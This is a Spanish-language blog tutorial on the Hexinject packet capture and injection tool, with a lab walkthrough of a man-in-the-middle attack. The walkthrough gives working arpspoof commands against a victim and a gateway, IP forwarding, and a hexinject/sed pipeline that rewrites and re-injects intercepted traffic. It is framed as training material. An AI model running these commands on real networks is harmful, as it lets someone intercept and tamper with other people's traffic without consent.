Hexinject orientada a la inyección y captura de paquetes a nivel de código hexadecimal

 

https://www.onlinetis.com

Hexinject orientada a la inyección y captura de paquetes a nivel de código hexadecimal

Hexinject es una herramienta de análisis de red para Linux orientada a la inyección y captura de paquetes a nivel de código hexadecimal. Permite capturar el tráfico de red en un formato legible en hexadecimal, modificarlo al vuelo o construir paquetes personalizados desde cero para enviarlos a la red.

Key Capabilities / Características principales

  • Hexdump de paquetes: Transforma el tráfico capturado en datos hexadecimales manipulables.

  • Inyección de datos: Permite inyectar paquetes formateados directamente en una interfaz de red.

  • Diseño modular (Pipes): Funciona mediante el principio de tuberías de Unix (|), lo que facilita combinarlo con otras herramientas como grep, sed, awk, o scripts en Python.

Componentes principales de Hexinject

La herramienta se compone principalmente de dos utilidades principales:

  1. hexinject: El motor principal de captura e inyección.

  2. hexpcap: Útil para leer y convertir archivos .pcap (creados por Wireshark o tcpdump) a formato hexadecimal y viceversa.

Ejemplos prácticos de uso

1. Capturar tráfico en tiempo real (Hexdump)

Para escuchar en una interfaz de red (por ejemplo, eth0) y mostrar el tráfico raw en hexadecimal:

Bash
sudo hexinject -i eth0 -r

2. Filtrar y capturar solo cierto tipo de tráfico

Puedes combinar la salida hexadecimal con grep para buscar patrones específicos (por ejemplo, buscar una firma o datos de un protocolo):

Bash
sudo hexinject -i eth0 -r | grep --line-buffered "41 41 41"

3. Inyectar paquetes en la red

Para enviar datos hexadecimales formateados a través de la interfaz de red:

Bash
echo "4500 003c 1c46 4000 4006 b6ac c0a8 0101 c0a8 0102" | sudo hexinject -i eth0 -p

(Nota: El string en hexadecimal debe representar un paquete válido con sus cabeceras correctas).

4. Modificar paquetes "al vuelo" (MiTM basico)

Gracias a la integración con sed o scripts externos, se pueden alterar paquetes capturados y reenviarlos:

Bash
sudo hexinject -i eth0 -r | sed -u 's/41 41 41/42 42 42/g' | sudo hexinject -i eth0 -p

Parámetros más comunes

OpciónDescripción
-i <interface>Especifica la interfaz de red (ej. eth0, wlan0).
-rModo lectura (raw capture).
-pModo inyección (push/inject).
-c <count>Número máximo de paquetes a capturar.
-f <filter>Aplica un filtro de captura tipo pcap/BPF (ej. "tcp port 80").


Esta guía aborda el uso de Hexinject dentro de un entorno de prueba o laboratorio controlado. En un ataque Man-in-the-Middle (MitM), interceptas el tráfico de dos extremos (por ejemplo, mediante ARP Spoofing) y utilizas hexinject en la máquina atacante/interceptora para capturar, modificar en hexadecimal mediante tuberías (|) e reinyectar los paquetes modificados.

Requisitos del laboratorio

Para realizar este laboratorio de forma segura, necesitas un entorno virtualizado (ej. VirtualBox o VMware) con:

  1. Máquina Interceptora: Kali Linux (con hexinject y dsniff o arpspoof instalados).

  2. Máquina Víctima / Cliente: Por ejemplo, Ubuntu Desktop o Windows.

  3. Servidor / Target: Un servidor local HTTP/FTP simple (sin cifrado HTTPS/TLS, ya que los datos deben ser legibles en texto plano/hexadecimal).

1.Habilitar el reenvío de IP (IP Forwarding):Evita romper la conexión del objetivo.

Por defecto, Linux descarta los paquetes que no van dirigidos a su propia IP. Debes habilitar el reenvío para que tu máquina actúe como un enrutador en el medio:

Bash
sudo sysctl -w net.ipv4.ip_forward=1
2.Ejecutar ARP Spoofing para redirigir el tráfico:Invenena las tablas ARP de la víctima y del gateway.

Abre dos terminales para posicionarte en el medio del canal de comunicación entre la víctima (192.168.1.50) y el gateway (192.168.1.1):

Terminal 1 (Engañar a la víctima):

Bash
sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

Terminal 2 (Engañar al Router/Gateway):

Bash
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
3.Capturar y analizar el tráfico hexadecimal:Identifica la firma de los datos a alterar.

En una tercera terminal, ejecuta hexinject en modo lectura (-r) para monitorear los datos que pasan por la interfaz eth0. Puedes aplicar un filtro BPF para centrarte en la IP objetivo:

Bash
sudo hexinject -i eth0 -r -f "host 192.168.1.50 and port 80"

Identifica en la salida el bloque hexadecimal que deseas alterar. Por ejemplo, supongamos que identificas la palabra "USER" enviada en ASCII como su equivalente hexadecimal 55 53 45 52.

4.Crear la tubería de modificación e inyección:Intercepta, edita con sed e inyecta al vuelo.

Captura el tráfico de la red, pásalo por una regla de sustitución en tiempo real con sed, e inyéctalo de nuevo en la interfaz mediante hexinject -p:

Bash
sudo hexinject -i eth0 -r -f "host 192.168.1.50" | \
sed -u 's/55 53 45 52/41 41 41 41/g' | \
sudo hexinject -i eth0 -p

Explicación del comando:

  • -r: Captura los paquetes en hexadecimal sin procesar.

  • sed -u 's/.../.../g': Modo unbuffered que reemplaza 55 53 45 52 ("USER") por 41 41 41 41 ("AAAA").

  • -p: Inyecta el paquete ya modificado de vuelta a la red.

Consideraciones técnicas y limitaciones

Nota sobre Checksums: Al modificar la carga útil (payload) de un paquete IP/TCP en tiempo real sin actualizar los campos de longitud y suma de comprobación (checksum), es muy probable que los firewalls o la pila TCP/IP del destinatario descarten el paquete inyectado por considerarlo corrupto. Para manipulaciones de protocolos modernos complejos, se suelen utilizar herramientas con reconstrucción automática de capas como Scapy o Bettercap.

https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Como utilizar Fierce en kali linux

Hacking y ciberseguridad en kali linux con atk6-thcping6